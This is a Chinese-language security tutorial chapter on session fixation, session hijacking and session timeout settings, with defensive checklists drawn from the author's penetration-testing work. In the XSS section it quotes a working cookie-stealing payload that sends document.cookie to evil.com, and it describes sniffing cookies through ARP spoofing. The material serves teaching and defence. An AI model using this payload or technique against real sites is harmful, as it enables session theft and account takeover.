3. 会话管理漏洞:会话固定攻击、会话劫持(XSS/网络嗅探)、会话超时设置不当

聊到身份认证,很多人第一反应是登录页面、密码策略、多因子认证。但说实话,真正让我在项目里栽过跟头的,往往是登录之后的事——会话管理。

你想想看,用户辛辛苦苦输完密码、过了验证,拿到一个会话令牌。接下来所有的操作,服务器都认这个令牌。如果令牌出了问题,那前面的认证做得再好,也等于白搭。

这一章,我就把会话管理里最常见的三个坑掰开揉碎讲清楚:会话固定、会话劫持、还有那个总被忽视的超时设置。

核心观点:会话令牌就是用户的临时身份证。身份证丢了、被复制了、或者过期了都不作数——会话管理的本质,就是管好这张“临时身份证”的生命周期。
会话管理漏洞全景图 会话令牌 会话固定攻击 会话劫持 超时设置不当 登录前注入 登录后未重置 XSS 窃取 网络嗅探 超时过长 超时过短 三个漏洞的共同根源:会话令牌的生命周期管理失控 攻击者要么偷令牌、要么塞令牌、要么等令牌一直有效

3.1 会话固定攻击:攻击者给你“发”了一个会话

会话固定攻击,说白了就是攻击者先自己搞到一个有效的会话ID,然后想方设法让受害者用这个ID去登录。

举个例子。攻击者访问网站,服务器给他分配了一个会话ID,比如 SESSIONID=ABC123。然后攻击者把这个ID通过邮件、链接或者恶意页面发给受害者。受害者点开链接,用这个 ABC123 登录了系统。登录成功后,服务器没有重新生成会话ID,还是用 ABC123。这时候攻击者拿着自己的 ABC123 刷新页面——嘿,直接进了受害者的账户。

我在一次金融应用的渗透测试里就遇到过这种情况。登录接口完全没做会话重置,攻击者只要在登录前把会话ID塞给受害者,登录后就能直接接管。当时客户还觉得“登录页有验证码就够了”,结果验证码防的是暴力破解,会话固定攻击根本不走那条路。

避坑指南:我曾经见过一个系统,登录成功后只更新了会话的“最后活跃时间”,但会话ID从头到尾没变过。这就是典型的会话固定漏洞。记住:认证成功的那一刻,必须无条件生成新的会话ID。

防御方案其实不复杂:

  • 登录后重置会话ID:这是最核心的措施。PHP 用 session_regenerate_id(true),Java 用 request.changeSessionId(),.NET 用 Session.Abandon() 配合新会话创建。
  • 拒绝URL中的会话ID:永远不要通过 GET 参数传递会话令牌。只接受 Cookie 或 Authorization Header。
  • 设置 Cookie 属性:HttpOnly、Secure、SameSite 三件套拉满。

3.2 会话劫持:令牌被偷了

会话劫持和会话固定正好相反。固定是攻击者“给”你一个令牌,劫持是攻击者“偷”你的令牌。

偷令牌的手段主要有两种:XSS 和网络嗅探。

3.2.1 通过 XSS 窃取会话

如果网站存在存储型或反射型 XSS,攻击者可以注入一段脚本,把 document.cookie 发到自己的服务器。我见过一个真实案例:某论坛的评论区没做输出编码,攻击者在帖子里插了一段 <img src=x onerror="fetch('http://evil.com/steal?c='+document.cookie)">。管理员一审核帖子,会话直接被偷。

防御要点:

  • 输出编码:所有用户输入在输出到 HTML 前必须做上下文相关的编码(HTML实体、JavaScript编码、CSS编码等)。
  • HttpOnly Cookie:设置 Set-Cookie: SESSIONID=xxx; HttpOnly,这样 JavaScript 就读取不到 document.cookie 了。
  • Content Security Policy:通过 CSP 限制脚本来源,即使有 XSS 也能阻止外连。
我的习惯:只要是我经手的 Web 项目,会话 Cookie 默认就是 HttpOnly + Secure + SameSite=Lax。这不是可选项,是基线配置。你可以在开发环境里关掉 Secure,但上线前必须打开。

3.2.2 通过网络嗅探窃取会话

如果网站没有启用 HTTPS,或者 HTTPS 配置有问题(比如混合内容、HSTS 缺失),攻击者在同一 Wi-Fi 下用 Wireshark 就能抓到明文传输的 Cookie。

我记得有一次帮客户做内网渗透测试,他们的内部管理系统跑在 HTTP 上。我在会议室用笔记本开了个 ARP 欺骗,几分钟就抓到了管理员的会话 Cookie。直接复制到浏览器里,系统就认了——连密码都不用猜。

防御方案:

  • 全站 HTTPS:不只是登录页,是所有页面。一个 HTTP 页面就能把 Cookie 暴露出去。
  • HSTS:通过 Strict-Transport-Security 头告诉浏览器,这个域名只能用 HTTPS 访问。
  • Secure Flag:Cookie 设置 Secure 属性,确保只在 HTTPS 连接中传输。

3.3 会话超时设置不当:太长或太短都是问题

会话超时这个点,说实话,很多开发团队都不太重视。要么设个 30 分钟完事,要么干脆不设超时。但这里面的门道不少。

超时策略 风险 适用场景
超时过长(>2小时) 令牌暴露窗口大,公共电脑上容易被后续用户利用 内部管理系统(需配合 IP 绑定)
超时过短(<5分钟) 用户体验差,频繁重新登录,可能丢失未保存数据 金融交易、支付页面
无超时(永久有效) 令牌一旦泄露,攻击者可永久使用 绝对不推荐
滑动窗口超时 用户持续操作时自动续期,但长期不操作会过期 大多数 Web 应用(推荐)

我个人比较推荐的做法是:绝对超时 + 滑动窗口。比如绝对超时设 8 小时(强制重新登录),滑动窗口设 30 分钟(无操作 30 分钟过期)。这样既保证了安全性,又不会让活跃用户频繁被打断。

注意:我曾经审计过一个系统,超时时间设了 72 小时。问开发为什么,答曰“用户嫌老是要登录”。结果呢?一个员工的电脑被同事借用,浏览器里还挂着管理后台的会话,直接被人改了工资数据。超时不是用户体验的敌人,安全事件才是。

实现上要注意几点:

  • 超时检查必须在服务端做,不能依赖前端 JavaScript 定时器(客户端时间可篡改)。
  • 超时后不仅要清除会话数据,还要在前端做跳转或弹窗提示。
  • 敏感操作(转账、改密、删数据)建议在操作前做一次会话有效性验证,甚至要求用户重新输入密码。

3.4 综合防御清单

最后,我把会话管理的核心防御措施整理成一个清单。你在做代码审查或者安全测试时,可以逐条对照:

  1. 登录后重置会话ID——防会话固定
  2. Cookie 设置 HttpOnly、Secure、SameSite——防 XSS 窃取和嗅探
  3. 全站 HTTPS + HSTS——防网络嗅探
  4. 服务端会话超时(绝对+滑动)——防令牌长期有效
  5. 敏感操作二次验证——即使会话被劫持,也能增加一道防线
  6. 绑定客户端指纹——将会话与 IP、User-Agent、TLS 指纹绑定(注意 IP 在移动网络下会变,需要权衡)
  7. 会话注销时彻底清除——服务端删除会话记录,客户端清除 Cookie
一个小技巧:我在做渗透测试时,会先检查登录请求的响应头里有没有 Set-Cookie,然后对比登录前后的 Cookie 值是否变化。如果没变,基本可以判定存在会话固定漏洞。这个检查 30 秒就能完成,但能发现大量低级问题。